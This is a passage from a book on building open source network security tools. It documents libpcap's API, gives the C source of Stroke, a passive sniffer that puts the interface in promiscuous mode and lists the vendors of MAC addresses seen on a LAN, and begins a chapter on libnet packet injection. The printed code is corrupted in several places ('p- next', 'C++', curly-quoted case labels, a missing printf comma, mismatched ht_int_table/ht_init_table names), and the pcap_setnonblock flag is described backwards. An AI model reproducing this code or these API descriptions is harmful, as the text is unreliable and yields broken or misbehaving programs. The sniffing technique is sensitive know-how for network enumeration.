the captured packet, including a microsecond granularity timestamp and packet capture length.

2.

A u_char pointer to the start of the actual packet. This pointer refers to the actual packet.3.

The final argument to pcap_dispatch(), user, is the aforementioned user data. Upon success, the
function returns the number of packets read; upon failure, the function returns -1 and you can use one of the
pcap_*err() functions to find the reason. The function may return 0 if no packets were read for one of the

following reasons:

No packets were read because they were all discarded because they did not pass the packet filter rules.

No packets were read because the read timeout expired before any packets arrived on the interface.

No packets were read because the file descriptor for the capture device was in non-blocking mode, and
no packets were available to be read at that time.

No packets were read because the savefile is out of packets.

  int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user);

pcap_loop() has the same functionality as pcap_dispatch() except that it keeps reading packets from
p until callback receives and processes cnt packets or until an error occurs. A cnt of -1 causes the function

to loop indefinitely or until an error occurs. The function will not return if the timer expires and read times out.

  u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h);



pcap_next() returns the next packet available. It is actually a wrapper to pcap_dispatch() with a cnt of
1 and a callback function that extracts the pcap packet header structure and separates the actual packet. h
is a pointer to the pcap_pkthdr structure, which fills in with the relevant statistics. Upon success, the
function returns a u_char pointer to the captured packet. Upon failure, it returns 0, and you can use one of
the pcap_*err() functions to find out the reason. Like pcap_dispatch(), this function returns NULL if
the pcap timer expires and there is no data in the read buffer, so it is important to check for this scenario.

  int pcap_setnonblock(pcap_t *p, int nonblock, char *errbuf);

pcap_setnonblock() sets or removes non-blocking mode on the underlying descriptor referenced by p.
If nonblock is 0, the function attempts to set the descriptor to be non-blocking; if nonblock is 1, the
function attempts to remove it from being non-blocking. This function only works with pcap descriptors
opened with pcap_open_live() and with the pcap_dispatch() capturing functionality. In non-blocking
mode, an attempt to read from p returns immediately to the caller if no packets are available, rather than
blocking until network traffic arrives. Upon success, the function returns 0; upon failure, the function returns
-1 and errbuf contains the reason.

  int pcap_getnonblock(pcap_t *p, char *errbuf);

pcap_getnonblock() returns the current blocking status of the descriptor that p references. If the
descriptor is in blocking mode, the function returns 0, and if the function is in non-blocking mode, the
function returns 1. Upon failure, the function returns -1 and errbuf contains the reason.

 



 

Filter Functions

Libpcap offers rich support for Berkeley Packet Filter (BPF) filter programs. BPF packet filtering offers a
powerful language for specifying packet filters across libpcap descriptors. Some architectures offer an in-kernel
mechanism for processing these filters, and those that do offer a serious performance increase because
packets not passing the filter do not have to be copied from kernel-space into user-land. This situation results in
less CPU overhead. Table 2.3 summarizes some examples of the filter strings. For a thorough treatment of
filter string semantics, see the tcpdump documentation.

"tcp or udp"

Only TCP or UDP packets (implying IP packets as well)

"host www.somethingawful.com"

Only packets to and from this host

"ip proto 50 or ip proto 51"

Only IP packets with protocol numbers 50 or 51 (IPsec)

"icmp[0] = 8"

ICMP echo request packets (type 8)

Table 2.3: BPF Filter Strings

FILTER STRING MATCHES THE FOLLOWING PACKETS

  int pcap_lookupnet(char *device, bpf_u_int32 *netp,
  bpf_u_int32 *maskp, char *errbuf);

pcap_lookupnet() returns the IP address and subnet mask associated with device in host-byte (little-endian)
order. For a successful call, the function returns 0 and netp and maskp contain the IP address and subnet
mask, respectively. If the function fails, it returns -1 and errbuf contains the reason.

  int pcap_compile(pcap_t *p, struct bpf_program *fp, char
  *str, int optimize, bpf_u_int32 netmask);

pcap_compile() compiles a high-level tcpdump style command primitive string str into a BPF filter code
program fp. p specifies the libpcap descriptor, while optimize is a boolean value specifying whether or not to
optimize the filter program. netmask specifies the internet protocol (IP) subnet netmask of the interface to
which we will apply the filter. Upon success, the function returns 0 and fp contains the filter program; upon
failure, the function returns -1 and pcap_*err() can tell you why.



  int pcap_compile_nopcap(int snaplen_arg,
  int linktype_arg, struct bpf_program *fp, char *buf, int optimize, bpf_u_int32
  netmask);

pcap_compile_nopcap() is a wrapper to pcap_compile() that does not require a pcap descriptor.

  int pcap_setfilter(pcap_t *p, struct bpf_program *fp);

pcap_setfilter() takes the filter program fp, which pcap_compile() created, and applies it to the
pcap descriptor that p references. Note that this procedure occurs in kernel on the systems that support it and
in userland (inside the pcap library) in systems that do not support it. Upon success, the function returns 0;
upon failure, the function returns -1 and pcap_*err() tells you why.

Note 

Note that filter programs are not stackable. Each successive call to pcap_setfilter() replaces a previously

installed filter.

  void pcap_freecode(struct bpf_program *fp);

pcap_freecode() is a garbage collection routine that frees all the memory associated with BPF filter
program fp.

 



 

Savefile (Dump) Functions

Libpcap offers the option to write live capture sessions to a file termed a "savefile" (this method is how
tcpdump writes sessions to disk). The following functionality manipulates savefiles.

  pcap_dumper_t *pcap_dump_open(pcap_t *p, char *fname);

pcap_dump_open() opens a libpcap savefile for writing. The p argument references a valid libpcap
descriptor (returned from a successful call to pcap_open_*() functions). fname is a pointer to the filename

to open (if the file exists, it will overwrite it). Upon success, the function returns a libpcap dumper descriptor.
Upon failure, the function returns a NULL pointer, and you can use one of the pcap_*err() functions to find

out the reason.

Note You can use the "-" string as a filename as a synonym for STDOUT (standard output).

  void pcap_dump(u_char *user, struct pcap_pkthdr *h, u_char
  *sp);

pcap_dump() writes a packet to an already initialized pcap savefile.

Note pcap_dump() could silently fail to successfully write data to the savefile because it does not check

for errors after writing (buyer beware).

  int pcap_is_swapped(pcap_t *p);

pcap_is_swapped() returns 1 if the byte-ordering in the savefile that p references is different from the

byte-ordering of the current system.

  int pcap_major_version(pcap_t *p);

pcap_major_version() returns the major version of libpcap that wrote the savefile that p referenced.

  int pcap_minor_version(pcap_t *p);

pcap_minor_version() returns the minor version of libpcap that wrote the savefile that p referenced.

  FILE *pcap_file(pcap_t *p);



pcap_file() returns a stream file pointer to the savefile that p referenced or NULL if p does not refer to a

savefile.

  void pcap_dump_close(pcap_dumper_t *p);

pcap_dump_close() closes a pcap savefile that p referenced.

 



 

Ancillary Functions

Libpcap's monolithic structure contains a lot of useful information. The following functions pull various bits of
information from libpcap's innards.

  int pcap_datalink(pcap_t *p);

pcap_datalink() returns the link-layer type of the packet capture device that p references. Table 2.4

summarizes some of the more common return values for the function.

Table 2.4: pcap_datalink() Return Values

RETURN VALUE MEANING

DLT_EN10MB Ethernet, all speeds, 10MB and above

DLT_IEEE802 IEEE 802.5 Token Ring

DLT_PPP Point-to-Point Protocol

DLT_FDDI Fiber Distributed Data Interface

DLT_RAW Raw IP (no link layer encapsulation)

DLT_IEEE802_11 IEEE 802.11 Wireless

  int pcap_snapshot(pcap_t *p);

pcap_snapshot() returns the snapshot length of the libpcap descriptor that p referenced.

  int pcap_stats(pcap_t *p, struct pcap_stat *ps);

pcap_stats() fills in a pcap statistics structure ps for the libpcap descriptor p. Upon success, the function
returns 0. Upon failure, the function returns -1, and one of the pcap_*err() functions might tell you why.



  int pcap_fileno(pcap_t *p);

pcap_fileno() returns the internal file descriptor number of the underlying packet capture mechanism

(socket, BPF device, DLPI device, and so on) that p referenced for a live capture session. Upon success, the
function returns the file descriptor number, and upon failure it returns -1.

 



 

Error Functions

When something goes wrong inside libpcap, the library provides robust functionality for determining what
caused the error. In most cases, when a pcap descriptor is created, if an error occurs within its context, you
can call pcap_perror() or pcap_geterr() to give the user information as to why it happened. For

functions within libpcap that do not reference a particular descriptor but can exit with an error, you can pass in
a character buffer pointer as an argument to contain any possible warnings or errors.

  void pcap_perror(pcap_t *p, char *prefix);

pcap_perror() prints to STDERR (standard error) the text of the last error message that happened within
the context of the pcap descriptor that p referenced. prefix is a string that will be output before the error

message which should be used to provide context to the error condition.

  char *pcap_geterr(pcap_t *p);

pcap_geterr() culls the last error message that happened within the context of the pcap descriptor that p
referenced and returns the string. If no error has occurred, the function returns NULL.

  char *pcap_strerror(int error);

pcap_strerror() is a wrapper to the standard libc function strerror() if the system has it. If not,
libpcap implements strerrror() itself.

 



 

Sample Program—Stroke

Stroke is a simple, passive reconnaissance tool that highlights the libpcap component. Stroke sits quietly on a
network and captures every IP packet it sees and displays the packet's source MAC address and the
corresponding Organizationally Unique Identifier (OUI) label. An OUI is an Institute of Electrical and
Electronics Engineers (IEEE) assigned 3-byte value referenced by various standards, including the 802 LAN
protocols such as Ethernet where the OUI composes the first 3 bytes of the Media Access Control (MAC)
address. Corresponding to every OUI is a "company id" string describing the manufacturer of the network
interface.

Stroke is useful for performing network device enumeration for a variety of purposes. From a security
practitioner's perspective, it is useful to learn about any new devices as they appear on the network and to
check them against what is allowable. From a security consultant's perspective, it is useful to silently list
devices across the network and perform rudimentary operating system (OS) and architecture detection. To
be useful, you should run Stroke on a non-switched local network; otherwise, you will only capture broadcast
traffic. For those of you in the know, Stroke is a simple, scaled-down, arpwatch-like tool.

Stroke uses the live packet capturing, packet filtering, and statistics functionality of libpcap, which is (generally
speaking) the most useful functionality. The program keeps a hashtable of all the MAC addresses it sees
across the network and only reports a given MAC address once. The program sorts the large OUI table and
searches for entries with a binary search algorithm. The program directly keys the hashtable and accesses it
in O(1) time. You can search a balanced binary tree (which we can assume in this case) in roughly O(log N)
time. Stroke has run on an extremely large and busy layer-2 switched network, resulting in about 4 million
packets captured and about 2500 unique entries in a 24-hour run. Stroke accepts two optional command-line
arguments: -I to specify that the program should print IP addresses along with MAC addresses and -i
<device> to specify a device to use. If no device is specified, libpcap tries to find one on its own. A sample

invocation across a college campus network is as follows:

  tradecraft:~# stroke
  Stroke 1.0 [passive MAC -> OUI mapping tool]
  <ctrl-c> to quit
  00:a0:c9:e5:65:0a -> INTEL CORPORATION - HF1-06
  00:50:04:0b:72:33 -> 3COM CORPORATION
  00:06:5b:19:31:ac -> Dell Computer Corp.
  00:02:2d:38:b8:40 -> Agere Systems
  00:02:2d:00:3a:39 -> Agere Systems
  00:01:03:7d:0f:87 -> 3COM CORPORATION
  00:04:00:14:12:ca -> LEXMARK INTERNATIONAL, INC.
  00:02:2d:39:41:39 -> Agere Systems
  00:10:a4:fe:63:3b -> XIRCOM
  ^CInterrupt signal caught…

  Packets received by libpcap:     54
  Packets dropped by libpcap:       0
  Unique MAC addresses stored:      9

As you can see, Stroke found nine unique MAC addresses on the network. Some of the OUI strings are
indicative of the types of machines across the network. The 3COM and Intel strings are probably PCI network
cards in PCs; the Dell string almost certainly refers to a Dell desktop computer with onboard Ethernet; and
the Lexmark OUI probably refers to a networked printer.



 



 

Sample Code—Stroke

The following three source files comprise the Stroke codebase. The 5500 line oui.h headerfile is abridged for
obvious reasons. To preserve readability, the code is richly commented but no book-text appears inside the
code. You can download the full source files from this book's companion Web site at
http://www.wiley.com/compbooks/schiffman.

oui.h

  /*
   * $Id: oui.h,v 1.1.1.1 2002/27/04 00:16:48 route Exp $
   *
   * Building Open Source Network Security Tools
   * oui.h - pcap example code
   *
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *
   */

  struct oui
  {
       u_char prefix[3];     /* 24 bit global prefix */
       char *vendor;         /* vendor id string */
  };

  struct oui oui_table[] = {
       { { 0x00, 0x00, 0x01 }, "XEROX CORPORATION" },
       { { 0x00, 0x00, 0x02 }, "XEROX CORPORATION" },
       /* about 5400 lines cut for readability */
       { { 0xAA, 0x00, 0x04 }, "DIGITAL EQUIPMENT CORPORATION" },
       { { 0x00, 0x00, 0x00 }, "" }
  };

  /* EOF */

stroke.h

  /*
   * $Id: stroke.h,v 1.1.1.1 2001/11/29 00:16:48 route Exp $
   *
   * Building Open Source Network Security Tools
   * stroke.h - pcap example code
   *
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *

http://www.wiley.com/compbooks/schiffman


   */

  #include <unistd.h>
  #include <errno.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <netinet/in.h>
  #include <pcap.h>
  #include <signal.h>
  #include "./oui.h"

  #define SNAPLEN         34
  #define PROMISC         1
  #define TIMEOUT         500
  #define FILTER          "ip"
  #define HASH_TABLE_SIZE 1009     /* should be tunable to network size */

  struct table_entry
  {
       u_char mac[6];              /* holds the MAC address */
       struct table_entry *next;   /* pointer to the next entry */
  };

  const char *b_search(u_char *);
  char *eprintf(u_char *);
  char *iprintf(u_char *);
  int interesting(u_char *, struct table_entry **);
  int ht_dup_check(u_char *, struct table_entry **, int);
  int ht_add_entry(u_char *, struct table_entry **, int);
  u_long ht_hash(u_char *);
  void ht_int_table(struct table_entry **);
  void cleanup(int);
  int catch_sig(int, void(*)());

  /* EOF */

stroke.c

  /*
   * $Id: stroke.c,v 1.1.1.1 2001/11/29 00:16:48 route Exp $
   *
   * Building Open Source Network Security Tools
   * stroke.c - pcap example code
   *
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *
   */
  



  #include "./stroke.h"
  
  int loop = 1;
  u_long mac = 0;
  
  int
  main(int argc, char **argv)
  {
     int c;
     pcap_t *p;                    /* pcap descriptor */
     char *device;                 /* network interface to use */
     u_char *packet;
     int print_ip;
     struct pcap_pkthdr h;
     struct pcap_stat ps;
     char errbuf[PCAP_ERRBUF_SIZE];
     struct bpf_program filter_code;
     bpf_u_int32 local_net, netmask;
     struct table_entry *hash_table[HASH_TABLE_SIZE];
  
     device = NULL;
     print_ip = 0;
     while ((c = getopt(argc, argv, "Ii:")) != EOF)
     {
          switch (c)
          {
              case ’I’:
                   print_ip = 1;
                   break;
              case ’i’:
                   device = optarg;
                   break;
              default:
                   exit(EXIT_FAILURE);
          }
     }
  
     printf("Stroke 1.0 [passive MAC -> OUI mapping tool]\n");
  
     /*
      * If device is NULL, that means the user did not specify one and
      * is leaving it up libpcap to find one.
      */
     if (device == NULL)
     {
         device = pcap_lookupdev(errbuf);
         if (device == NULL)
         {
             fprintf(stderr, "pcap_lookupdev() failed: %s\n", errbuf);
             exit(EXIT_FAILURE);
         }
     }



  
     /*
      * Open the packet capturing device with the following values:
      *
      * SNAPLEN: 34 bytes
      * We only need the 14 byte ethernet header and possibly an IP
      * header if the user specified ‘-I’ at the command line.
      * PROMISC: on
      * The interface needs to be in promiscuous mode to capture all
      * network traffic on the localnet.
      * TIMEOUT: 500ms
      * A 500 ms timeout is probably fine for most networks. For
      * architectures that support it, you might want tune this value
      * depending on how much traffic you're seeing on the network.
      */
     p = pcap_open_live(device, SNAPLEN, PROMISC, TIMEOUT, errbuf);
     if (p == NULL)
     {
         fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf);
         exit(EXIT_FAILURE);
     }
  
     /*
      * Set the BPF filter. We're only interested in IP packets so we
      * can ignore all others.
      */
     if (pcap_lookupnet(device, &local_net, &netmask, errbuf) == -1)
     {
         fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf);
         pcap_close(p);
         exit(EXIT_FAILURE);
     }
     if (pcap_compile(p, &filter_code, FILTER, 1, netmask) == -1)
     {
         fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(p));
         pcap_close(p);
         exit(EXIT_FAILURE);
     }
     if (pcap_setfilter(p, &filter_code) == -1)
     {
         fprintf(stderr, "pcap_setfilter() failed: %s\n",
                          pcap_geterr(p));
         pcap_close(p);
         exit(EXIT_FAILURE);
     }
  
     /*
      * We need to make sure this is Ethernet. The DLTEN10MB specifies
      * standard 10MB and higher Ethernet.
      */
     if (pcap_datalink(p) != DLT_EN10MB)
     {



         fprintf(stderr, "Stroke only works with ethernet.\n");
         pcap_close(p);
         exit(EXIT_FAILURE);
     }
  
     /*
      * We want to catch the interrupt signal so we can inform the user
      * how many packets we captured before we exit. We should probably
      * clean up memory and free up the hashtable before we go, but we
      * can't always have all the nice things we want, can we?
      */
     if (catch_sig(SIGINT, cleanup) == -1)
     {
         fprintf(stderr, "can't catch signal.\n");
         pcap_close(p);
         exit(EXIT_FAILURE);
     }

     /*
      * Here we initialize the hash table and start looping. We'll exit
      * from the loop only when the user hits ctrl-c and the command
      * prompt which will set the loop sentinel variable to 0.
      */
     for (ht_init_table(hash_table); loop;)
     {
         /*
          *  pcap_next() gives us the next packet from pcap's internal
          *  packet buffer.
          */
         packet = (u_char *)pcap_next(p, &h);
         if (packet == NULL)
         {
            /*
             * We have to be careful here as pcap_next() can return
             * NULL if the timer expires with no data in the packet
             * buffer or in some special circumstances with linux.
             */
            continue;
         }
         /*
          * Check to see if the packet is from a new MAC address, and if
          * so we'll add it to hash table.
          */
          if (interesting(packet, hash_table))
         {
             /*
              * The packet's source MAC address is six bytes into the
              * packet and the IP address is 26 bytes into the packet.
              * We submit the MAC to the binary search function which
              * will return the OUI string corresponding to the MAC
              * entry.
              */



             if (print_ip)
             {
                 printf("%s @ %s -> %s\n", eprintf(packet),
                         iprintf(packet + 26),
                         b_search(packet + 6));
             }
             else
             {
                 printf("%s -> %s\n", eprintf(packet),
                         b_search(packet + 6));
            }
         }
     }

     /*
      * If we get here, the user hit ctrl-c at the command prompt and
      * it's time to dump the statistics.
      */
     if (pcap_stats(p, &ps) == -1)
     {
         fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(p));
     }
     else
     {
         /*
          * Remember that the ps statistics changes slightly depending
          * on the underlying architecture. We gloss over that here.
          */
         printf("\nPackets received by libpcap:\t%6d\n"
                "Packets dropped by libpcap:\t%6d\n"
                "Unique MAC addresses stored:\t%6ld\n"
               ps.ps_recv, ps.ps_drop, mac);
     }
     /*
      * This can fail but since we're exiting either way, who cares?
      */
     pcap_close(p);
     return (EXIT_SUCCESS);
  }
  
  const char *
  b_search(u_char *prefix)
  {
      struct oui *ent;
      int start, end, diff, mid;
  
      start = 0;
      end = sizeof(oui_table) / sizeof(oui_table[0]);
  
      /* approximately 0(log n) running time */
      while (end > start)
      {



          mid = (start + end) / 2;
          ent = &oui_table[mid];
  
          diff = prefix[0] - ent->prefix[0];
  
          if (diff == 0)
          {
              /* first byte matches */
              diff = prefix[1] - ent->prefix[1];
          }
          if (diff == 0)
          {
              /* second byte matches */
              diff = prefix[2] - ent->prefix[2];
          }

          if (diff == 0)
          {
              /* third byte matches */
              return (ent->vendor);
          }
          if (diff < 0)
          {
              /* cut the list in half from the front half */
              end = mid;
          }
          else
          {
              /* cut the list in half from the last half */
              start = mid + 1;
          }
      }
      /* no match */
      return ("Unknown Vendor");
  }
  
  
  char *
  eprintf(u_char *packet)
  {
      int n;
      static char address[18];

      n = sprintf(address, "%.2x:", packet[6]);
      n += sprintf(address + n, "%.2x:", packet[7]);
      n += sprintf(address + n, "%.2x:", packet[8]);
      n += sprintf(address + n, "%.2x:", packet[9]);
      n += sprintf(address + n, "%.2x:", packet[10]);
      n += sprintf(address + n, "%.2x", packet[11]);
      address[n] = NULL;
  
      return (address);



  }
  
  
  char *
  iprintf(u_char *address)
  {
      static char ip[17];
  
      /* cheap way to print an IP address */
      sprintf(ip, "%3d.%3d.%3d.%3d", (address[0] & 255), (address[1] &
              255), (address[2] & 255), (address[3] & 255));
  
      return (ip);
  }
  
  
  int
  interesting(u_char *packet, struct table_entry **hash_table)
  {
      u_long n;
  
      n = ht_hash(packet);
  
      /* check to see if the entry we've hashed to is free or used */
      if (hash_table[n])
      {
          /* check to see if this is a duplicate entry or a collision */
          if (!ht_dup_check(packet, hash_table, n))
          {
              /* this is a collision, let's add a bucket */
              if (ht_add_entry(packet, hash_table, n))
              {
                  mac++;
                  return (1);
              }
          }
          else
          {
              /* this is a duplicate entry, ignore it */
              return (0);
          }
      }
      else
      {
          /* this table slot is free */
          if (ht_add_entry(packet, hash_table, n))
          {
                  mac++;
              return (1);
          }
      }
      /* if we've gotten here an error has occurred, which we duly ignore */



      return (0);
  }
  
  
  int
  ht_dup_check(u_char *packet, struct table_entry **hash_table, int loc)
  {
      struct table_entry *p;
  
      for (p = hash_table[loc]; p; p = p->next)
      {
          if (p->mac[0] == packet[6] && p->mac[1] == packet[7] &&
              p->mac[2] == packet[8] && p->mac[3] == packet[9] &&
              p->mac[4] == packet[10] && p->mac[5] == packet[11])
          {
              /* this MAC is already in our table */
              return (1);
          }
      }
      /* this MAC has collided with another entry in our table */
      return (0);
  }
  
  
  int
  ht_add_entry(u_char *packet, struct table_entry **hash_table, int loc)
  {
      struct table_entry *p;
  
      if (hash_table[loc] == NULL)
      {
          /* this is the first entry in this location in the table */
          hash_table[loc] = malloc(sizeof(struct table_entry));
          if (hash_table[loc] == NULL)
          {
              return(0);
          }
  
          hash_table[loc]->mac[0] = packet[6];
          hash_table[loc]->mac[1] = packet[7];
          hash_table[loc]->mac[2] = packet[8];
          hash_table[loc]->mac[3] = packet[9];
          hash_table[loc]->mac[4] = packet[10];
          hash_table[loc]->mac[5] = packet[11];
          hash_table[loc]->next = NULL;
          return (1);
      }
      else
      {
          /* this is a chain, find the end of it */
          for (p = hash_table[loc]; p- next; p = p- next);
          p-> next = malloc(sizeof(struct table_entry));



          if (p-> next == NULL)
          {
              return (0);
          }
  
          p = p-> next;
          p-> mac[0] = packet[6];
          p-> mac[1] = packet[7];
          p-> mac[2] = packet[8];
          p-> mac[3] = packet[9];
          p-> mac[4] = packet[10];
          p-> mac[5] = packet[11];
          p-> next = NULL;
      }
      return (1);
  }
  

  u_long
  ht_hash(u_char *packet)
  {
      int i;
      u_long j;
      for (i = 6, j = 0; i != 12; i++)
      {
          /* decent amount of entropy */
          j = (j * 13) + packet[i];
      }
      return (j %= HASH_TABLE_SIZE);
  }
  
  void
  ht_init_table(struct table_entry **hash_table)
  {
      int c;
  
      for (c = 0; c < HASH_TABLE_SIZE; C++)
      {
          hash_table[c] = NULL;
      }
  }
  

  void
  cleanup (int signo)
  {
      loop = 0;
      printf("Interrupt signal caught…\n");
  }
  
  int
  catch_sig(int signo, void (*handler)())



  {
      struct sigaction action;
  
      action.sa_handler = handler;
      sigemptyset(&action.sa_mask);
      action.sa_flags = 0;
      if (sigaction(signo, &action, NULL) == -1)
      {
          return (-1);
      }
      else return (1);
  }
  
  /* EOF */

 



 

Chapter 3: The Libnet Library

Overview

URL: http://www.packetfactory.net/Projects/Libnet

Primary author: Mike Schiffman

Component type: C language library, packet creation and injection

License: BSD

Version profiled: 1.1.0

Dependencies: None

Much like the packet-capturing conundrum described in Chapter 2, most operating systems also provide non-
uniform support for packet shaping (creation) and injection. Libnet is the packet creation and injection analog
to libpcap. It provides a common high-level API for packet manipulation across most current operating
systems. Like libpcap, libnet obscures the low-level tedium and platform idiosyncrasies from the application
programmer, enabling him or her to concentrate on the task at hand.

At this writing, two versions of libnet are available: 1.0.1 and 1.1.0. While this chapter makes reference to the
deprecated 1.0.1 version, it only details the new 1.1.0 version of libnet. That being said, we should note that
the libnids component covered in chapter 4 is built on top of the 1.0.1 version of libnet. Because the libnet
interface is not exposed to the application programmer, however, it will not affect the discussion. Finally,
because the author of this book is also the author of libnet, this chapter includes some additional internal
information that was not available to the general public (until now).

 

http://www.packetfactory.net/Projects/Libnet


 

Installation Notes

Installation of the library is straightforward:

  tradecraft:/usr/local/src/libnet-1.1.0# ./configure; make; make install

 



 

Design Considerations

Libnet's journey through life has been more of a steady evolution than a series of discontinuous revolutions.
While the current version, the 31st in four years, is a discontinuous jolt from all previous versions, the
interface is far easier to use. The same core functionality found in earlier versions is still available, but the
internal mechanisms have undergone a major overhaul. For the application programmer, this situation results
in simpler usage and a modest change to the API.

Libnet 1.1.0 is smarter than its predecessors. In previous revisions of the API, the application programmer
had to follow six steps to build and send a single packet:

Initialize packet memory—The application programmer had to determine and allocate the correct
amount of memory for the packet that he or she wanted to send.

1.

Initialize the network interface—The application programmer had to open the network interface by
using the correct primitives for the injection layer (link-layer or raw socket layer) desired. Additionally, if
the link-layer interface was employed, he or she had to specify a device.

2.

Build the packet—The application programmer had to take specific care of memory offsets when
calling the building functions. Because memory was allocated as one contiguous chunk, the
programmer had to know where each packet header was in memory, which required an intimate
knowledge of header byte counts.

3.

Perform packet checksums—The application programmer had to perform a checksum for each
header that included a checksum field. This process included the IP header when the link-layer
interface was used.

4.

Write the packet—The application programmer would then write the packet to the network by using
the proper injection method, taking care to specify the proper packet size and a variety of other
arguments to the writing function.

5.

Clean up—The application programmer was then responsible for freeing up all allocated memory and
closing down the network interface.

6.

While this scenario was a vast improvement over existing mechanisms at the time, it still felt a bit clunky.
There were too many low-level issues placed in the hands of the application programmer (and in turn, too
many opportunities for syntactic errors to creep into the process).

In order to remove many of these low-level responsibilities, libnet 1.1.0 saw the movement of a great deal of
logic away from the exposed API and into the library's internals. The most obvious change from previous
versions of libnet is capability of state maintenance. In order for the API to make inferred decisions, libnet
needed to remember-certain parameters and keep track of what the application programmer was doing.
Some of this state is based on how libnet is initialized and the settings of the control flags, while other data is
derived from how the application programmer invoked internal library calls. Libnet internally maintains this
state and it is not visible to the application programmer. The result is that libnet is far easier to use. Figure 3.1
illustrates the packet creation and injection process for libnet 1.1.0.

Initialize the library—The application programmer initializes the library, specifying the injection type and
an optional network device.

1.

Build the packet—The application programmer builds the packet.2.

Write the packet—The application programmer then writes the packet to the network.3.

4.



2.

3.

Shut down the library—The application programmer makes a single call to clean everything up and
shut down.

4.

Figure 3.1: Libnet packet creation.

This resulting process is cleaner, more efficient, and much easier to handle. There are fewer places where
the application programmer can accidentally taint memory locations and fewer places where something can
go grievously wrong. All in all, it is a major improvement.

Libnet Wire Injection Methods

Libnet offers the application programmer the choice between writing packets to the network wire at the raw
socket layer or the link-layer. Specified at initialization, the details of both interfaces are handled internally
(including startup, writing, and shutdown). Both have different benefits and drawbacks, as described next.

Raw Socket Interface

The raw socket interface is a mid-level interface enabling the application programmer to build and insert
packets at the IP layer and above. This interface is the easier of the two to use, because the application
programmer does not have to worry about building a link-layer frame header. Additionally, he or she does not
have to worry about determining the destination MAC address, which can be a hassle if the packet is
ultimately destined for a host that is not on the local network (you might have to add code to perform
ARP/routing table lookups to obtain the MAC address of the default gateway). Unfortunately, this simplicity



comes at a price; raw sockets across many platforms tend to be "cooked" in that they do not offer a
consistent granular level of control over certain IP header values. For instance, every raw socket
implementation always computes a (correct) IP checksum before writing a packet out, regardless of whether
or not the application programmer wants it to happen. Linux (and probably others) always sets the IP header
length field. Solaris always sets the IP fragmentation DF (don't fragment) bit in an attempt to perform path
MTU (maximum transmission unit) discovery. Some versions of OpenBSD and FreeBSD require the IP
packet length and IP fragmentation fields to be in host-byte order, while others require network-byte order
regardless of processor type.

Link-Layer Interface

The link-layer interface is a low-level interface giving the application programmer sovereign control over the
entire packet, from the link-layer up. The functionality here is quite simply more robust. The link-layer enables
a finergrained control of packet header values because the OS kernel will not touch the packet before it is
written out (the exception being that some interface code on some UNIX variants will try to stamp a source
MAC address on the packet of the outgoing interface; libnet handles this situation on several variants). This
power comes at the cost of additional complexity. The application programmer is responsible for building a
link-layer header and filling in all of its values (the IP checksum is optional; libnet can take care of it or specify
it to some arbitrary value).

Packet Header Checksum Computation

For packet headers that have checksums, libnet handles them internally by default. The application
programmer has the option of specifying one of three behaviors:

Setting the checksum field to 0 signals libnet to compute a checksum for the packet header in
question (note that this checksum might be computed over any additional data, such as the case with
IP).

1.

Setting the field to any other value causes libnet to skip the checksum calculation for the packet
header. This situation enables the application programmer to specify either a precomputed checksum
or any arbitrary value for whatever reason.

2.

You can override these two behaviors with a call to
libnet_toggle_checksum(), as we describe later on.

3.

Note that while using the raw-socket layer interface, the IP header checksum is always calculated regardless
of what the application programmer sets it to or what behavior libnet_toggle_checksum() tries to set.

 



 

Native Datatypes

Libnet provides a few native datatypes that the application programmer needs to know about.

  libnet_t

libnet_t is a typedef from the libnet_context structure, which is libnet's core context datatype. It is the

main monolithic control data structure that describes a complete libnet packet shaping/injection session.
Every major function inside libnet takes a libnet_t argument. Like libpcap's pcap_t, libnet_t is fully

opaque to the application programmer.

  libnet_ptag_t

libnet_ptag_t is the protocol tag identifier datatype. Every packet-building function returns this datatype

and accepts one as an optional argument. It tracks the protocol units (headers or data) that the application
programmer builds in his or her application. If a given protocol header needs to be modified after being
created (say, for example, that a port number needs to be changed in a packet injection loop), you can
specify it with the protocol tag.

  struct libnet_stats {

struct libnet_stats holds libnet's packet statistics as returned from libnet_stats().

  u_long packets_sent;

packets_sent records the total number of packets.

  u_long packet_errors;

packet_errors records the total number of packet writes that generated an error of some kind.

  u_long bytes_written;

bytes_written records the total number of bytes written.

  };



  libnet_plist_t

You use libnet_plist_t when a port list chain is required. This functionality offers the application

programmer a convenient (and memory-efficient) way to build port lists (such as 7-25,123,135-139, 6000)
from user-driven command line arguments. We talk about this functionality in more detail in the
libnet_plist_chain*() functions.

 



 

Framework Functions

These four functions mediate the flow of control inside libnet.

  libnet_t *libnet_init (int injection_type, char *device, char
  *err_buf);

libnet_init() creates the libnet environment. It initializes the library and returns a libnet descriptor. If the
injection_type is LIBNET_LINK, the function initializes the injection primitives for the link-layer

interface-enabling the application programmer to build packets starting at the data-link layer (which also
provides more granular control over the IP layer). If libnet uses the link-layer and device is non-NULL, the
function attempts to use the specified network device for packet injection. This procedure is either a short
canonical string that references the device (such as "ethO" for a 100MB Ethernet card on Linux or "fxpO" for

a 100MB Ethernet card on OpenBSD) or the "dots and decimals" representation of the device's IP address
("192.168.0.1"). If device is NULL, libnet attempts to find a suitable device to use. If the injection_type
is LIBNET_RAW4, the function initializes the injection primitives for the IPv4 raw socket interface. The final
argument, err_buf, should be a buffer of size LIBNET_ERRBUF_SIZE and holds an error message if the

function fails. This function requires root privileges to execute successfully. Upon success, the function
returns a valid libnet descriptor for use in later function calls; upon failure, the function returns NULL. Table
3.1 summarizes the injection_type symbolic constants which control how libnet is internally initialized.

Table 3.1: libnet_init() Symbolic Constants

CONSTANT MEANING

LIBNET_LINK Specifies the link-layer interface

LIBNET_RAW4 Specifies the IPv4 raw socket layer interface

LIBNET_RAW6 Specifies the IPv6 raw socket layer interface

LIBNET_LINK_ADV Specifies the link-layer interface (advanced mode)

LIBNET_RAW4_ADV Specifies the IPv4 raw socket layer interface (advanced mode)

LIBNET_RAW6_ADV Specifies the IPv6 raw socket layer interface (advanced mode)

The final three primitives specify the advanced interface which allows the application programmer to take
